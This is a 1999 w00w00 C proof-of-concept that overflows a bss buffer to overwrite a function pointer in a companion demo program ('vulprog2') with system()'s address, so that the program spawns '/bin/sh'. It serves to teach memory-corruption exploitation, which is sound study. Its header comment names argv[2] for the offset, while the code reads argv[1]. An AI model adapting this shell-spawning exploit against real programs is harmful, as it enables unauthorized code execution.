/*
 * Copyright (C) January 1999, Matt Conover & w00w00 Security Development
 *
 * Demonstrates overflowing/manipulating static function pointers in the
 * bss (uninitialized data) to execute functions.
 *
 * Try in the offset (argv[2]) in the range of 140-160
 * To compile use: gcc -o exploit1 exploit1.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 16 /* the estimated diff between funcptr/buf in vulprog */

#define VULPROG "./vulprog2" /* vulnerable program location */
#define CMD "/bin/sh" /* command to execute if successful */

#define ERROR -1

int main(int argc, char **argv)
{
   register int i;
   u_long sysaddr;
   static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
      fprintf(stderr, "[offset = estimated system() offset in vulprog\n\n");

      exit(ERROR);
   }

   sysaddr = (u_long)&system - atoi(argv[1]);
   printf("Trying system() at 0x%lx\n", sysaddr);

   memset(buf, 'A', BUFSIZE);

   /* reverse byte order (on a little endian system) */
   for (i = 0; i < sizeof(sysaddr); i++)
      buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

   execl(VULPROG, VULPROG, buf, CMD, NULL);
   return 0;
}
